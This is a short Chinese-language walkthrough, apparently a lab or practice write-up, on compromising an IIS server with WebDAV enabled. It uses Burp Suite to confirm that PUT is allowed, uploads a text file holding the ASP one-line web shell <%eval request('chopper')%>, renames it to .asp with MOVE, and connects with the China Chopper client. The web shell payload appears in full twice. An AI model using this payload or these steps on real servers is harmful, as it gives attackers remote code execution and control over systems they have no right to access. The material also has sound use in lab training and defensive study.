WebDAV file权限问题
使用一句话木马拿下一个靶机。。。
1.首先先登录一个开有WebDAV的网站，打开brupsuit，将网站代理设置为127.0.0.1：8080
具体哪个代理如上所示
2.然后将将拦截的有IP的那个包发到Repeater
在第一行输入OPTIONS,测试一下看该IIS组件是否开启了PUT（文件上传）功能
3.通过上述显示可以看到PUT功能已经开启，然后在服务器根目录下上传一个chao.txt的文件
在里面写入一句话木马： <%eval request("chopper")%>
这是一个asp文件的脚本
具体操作如下
4.然后使用MOVE命令将chao.txt改名为chao.asp具体操作如下
5.然后再在网页上输入IP+刚刚上传的文件
没有报错的话，就是上传成功
6.然后打开菜刀
点击鼠标右键添加
将刚刚那个网站的IP+你上传文件的名字写上
再在后面添加刚刚一句话木马里的参数 chopper （这个就是密码）
在文件类型里选择asp。
ASP: <%eval request("chopper")%>
然后就拿下了